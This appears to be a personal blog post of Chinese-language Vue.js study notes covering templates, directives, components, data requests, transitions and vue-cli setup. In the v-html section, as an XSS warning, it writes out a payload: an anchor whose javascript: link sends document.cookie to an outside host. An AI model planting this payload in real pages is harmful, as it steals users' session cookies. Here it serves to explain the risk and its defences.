vue知识点归纳与总结(笔记上部分)

前言

当前总结是本人在业余学习与实践过程后的总结与归纳,旨在检验自己的积累,也方便忘记时查阅,同时也希望能帮助那些这方面知识匮乏的同行门。如有不对，或不足的地方，也请各位大神，指出来，学习学习。

一 Vue 基础

1.模板语法

    (1)插值

        a.文本 {{}}

        b.纯HTML

               v-html ，防止XSS,csrf（

              	 (1)	前端过滤

			  	 (2)	后台转义(< > < >)

 			  	 (3)	给cookie 加上属性 http

				）

1	<a href=javascript:location.href='http://www.baidu.com? cookie='+document.cookie>click</a>

2	// 删除& nbsp; 和 cookie前面的空格

		c.表达式


	(2)指令：是带有 v- 前缀的特殊属性
			v-bind
			v-if  
			v-show
			v-on:click
			v-for

	(3)缩写

		v-bind:src => :src

		v-on:click => @click

2.class 与 style

(1) 绑定HTML Class
        -对象语法  
        -数组语法 
(2) 绑定内联样式
		-对象语法
        -数组语法
		//需要将 font-size =>fontSize

3. 条件渲染

	(1)v-if
 
	(2)v-else v-else-if

	(3)template v-if ,包装元素template 不会被创建

	(4)v-show

4. 列表渲染

(1)v-for (特殊 v-for="n in 10")

     a.in
     b.of

(2)key：
	*跟踪每个节点的身份，从而重用和重新排序现有元素
	*理想的 key 值是每项都有的且唯一的 id。data.id
	
(3)数组更新检测
		a.使用以下方法操作数组，可以检测变动
			push()    pop()    shift()    unshift() 
			splice()  sort()   reverse()
			
		b. filter(), concat() 和 slice() ,map(),新数组替换旧数组

		c.不能检测以下变动的数组
			vm.items[indexOfItem] = newValue
			*解决* (1)Vue.set(example1.items, indexOfItem, newValue)
				   (2)splice

(4)应用:显示过滤结果

5. 事件处理

(1)监听事件-直接触发代码

(2)方法事件处理器-写函数名	handleClick

(3)内联处理器方法-执行函数表达式 handleClick($event) $event 事件对象

(4)事件修饰符 https://cn.vuejs.org/v2/guide/events.html

(5)按键修饰符

6. 表单控件绑定/双向数据绑定

1.v-model
	(1)基本用法
 			-购物车
	(2)修饰符
			.lazy :失去焦点同步一次
			.number :格式化数字
			.trim : 去除首尾空格

二. Vue组件

1. axios与fetch实现数据请求

(1)fetch
	why:
		XMLHttpRequest 是一个设计粗糙的 API，配置和调用方式非常混乱，
		而且基于事件的异步模型写起来不友好。兼容性不好
			
		polyfill:
			https://github.com/camsong/fetch-ie8
			

1	//get

2	fetch("**").then(res=>res.json()).then(res=>{console.log(res)})

3	fetch("**").then(res=>res.text()).then(res=>{console.log(res)})

4	//post

5	fetch("**",{

6		method:'post',

7  		headers: {

8  			"Content‐Type": "application/x‐www‐form‐urlencoded"

9  		},

10  	body: "name=kerwin&age=100"

11		 }).then(res=>res.json()).then(res=>{console.log(res)});

12   fetch("/users",{

13   method:'post',

14	// credentials: 'include',

15	headers: {

16	"Content‐Type": "application/json"

17	},

18	body: JSON.stringify({

19	name:"kerwin",

20	age:100

21	})

22	}).then(res=>res.json()).then(res=>{console.log(res)});

注意：
Fetch 请求默认是不带 cookie 的，需要设置 fetch(url, {credentials:‘include’})

(2) axios

1.axios.get(" ") promise对象

2.axios.post(" ") promise对象

3.axios.put(" ")

4.axios.delete(" ")

5

6.axios({

7.	url:"/gateway?type=2&k=3553574",

8.	headers:{

9.	'X‐Client‐Info': '{"a":"3000","ch":"1002","v":"1.0.0","e":"1"}', 
10. 'X‐Host': 'mall.cfg.common‐banner'

11.	}

12.	}).then(res=>{

13.	console.log(res.data);

14.	})

15.

16.	返回的数据会被包装

17.	{

18.	*:*

19.	data:真实后端数据

20.	}

2. 计算属性

复杂逻辑,模板难以维护

	(1)	基础例子

	(2)	计算缓存 VS methods

		-计算属性是基于它们的依赖进行缓存的。

		-计算属性只有在它的相关依赖发生改变时才会重新求值

	(3)	计算属性 VS watch

			-v-model

3. Mixins

混入 (mixins) 是一种分发 Vue 组件中可复用功能的非常灵活的方式。
混入对象可以包含任意组件选项。
当组件使用混入对象时，所有混入对象的选项将被混入该组件本身的选项。

https://cn.vuejs.org/v2/guide/mixins.html#%E5%9F%BA%E7%A1%80

4. 虚拟dom与diff算法 key的作用

（1）把树按照层级分解

(2)	同key值对比

(3)	同组件对比

5. 组件化开发基础

扩展 HTML 元素，封装可重用的代码

6. 组件注册方式

a.全局组件

	Vue.component

b.局部组件

7. 组件编写方式与Vue实例的区别

*自定义组件需要有一个root element

*父子组件的data是无法共享

*组件可以有data，methods,computed....,但是data 必须是一个函数

8. 组件通信

i.父子组件传值 (props down, events up)

ii.	属性验证
	props:{name:Number}
	Number,String,Boolean,Array,Object,Function,null(不限制类型)

iii.事件机制
	a.使用 $on(eventName) 监听事件
	b.使用 $emit(eventName) 触发事件

iv. Ref
	 this.$refs.mytext

v.	事件总线
	var bus = new Vue();
	*mounted生命周期中进行监听

9. 动态组件

* 元素，动态地绑定多个组件到它的 is 属性

* 保留状态，避免重新渲染

三.Vue 进阶(一)

1. slot插槽 (内容分发)

a.	单个slot

b.	具名slot

	*混合父组件的内容与子组件自己的模板-->内容分发

	*父组件模板的内容在父组件作用域内编译；子组件模板的内容在子组件作用域内编译。

2. transition过渡

Vue 在插入、更新或者移除 DOM 时，提供多种不同方式的应用过渡效果。

(1)单元素/组件过渡
	*css过渡
	*css动画
	*结合animate.css动画库

(2)多个元素过渡(设置key)
	*当有相同标签名的元素切换时，需要通过 key 特性设置唯一的值来标记
	 以让 Vue 区分它们，否则 Vue 为了效率只会替换相同标签内部的内容。
	mode:in-out ; out-in

(3)多个组件过渡

(4)列表过渡(设置key)

	*不同于 transition，它会以一个真实元素呈现：默认为一个
		 。你也可以通过 tag 特性更换为其他元素。
	提供唯一的 key 属性值

3. 生命周期

生命周期各个阶段(我的第一条博客)
	https://blog.csdn.net/weixin_42365757/article/details/106407477

生命周期钩子函数的触发条件与作用

4. swiper学习

https://www.swiper.com.cn/

5.自定义组件的封装

自定义封装swiper组件（基于swiper）

注意：防止swipe初始化过早

6. 自定义指令

(1)自定义指令介绍 directives

(2)钩子函数

	参数 el,binding,vnode(vnode.context)

	bind,inserted,update,componentUpdated,unbind

(3)函数简写

(4)自定义指令-轮播

	*inserted 插入最后一个元素时调用(vnode.context.datalist.length-1) *this.$nextTick()

7. 过滤器

https://cn.vuejs.org/v2/guide/filters.html

ele图片转换，猫眼电影图片转换

四. Vue 进阶

1.单文件组件

https://cn.vuejs.org/v2/guide/single-file-components.html

1.a：

2.<template>

3.html代码

4.</template>

5.<script>

6.js代码

7.</script>

8.<style>

9.css代码

10.</style>

11.b.

12.<template>

13.html代码

14.</template>

15.<script src="相对路径的外部的js"></script>

16.<style src="相对路径的外部的css"></style>

2.vue-cli3.0的使用

npm install -g @vue/cli (一次安装) node-sass需要单独处理 vue create myapp

*npm run serve 开发环境构建

*npm run build 生产环境构建

*npm run lint 代码检测工具(会自动修正)

1.*<template> ‐html代码,最多可以包含一个

2.*<script> ‐js代码,最多可以包含一个

3.*<style>‐ css代码。可以包含多个，src的路径是相对的

4.style标签 加上scoped属性，css局部生效

5.style标签 加上lang="scss"，支持scss

3. Vue.config.js的配置

(1) proxy代理
		https://cli.vuejs.org/zh/config/#%E5%85%A8%E5%B1%80-cli-%E9%85%8D%E7%BD%AE
		

1.devServer: {

2.port:8000, //随便改端口号

最后，如果想要看vue视频学习的小伙伴，强烈推荐下列视频：
https://www.bilibili.com/video/BV12J41187We

未完待续~~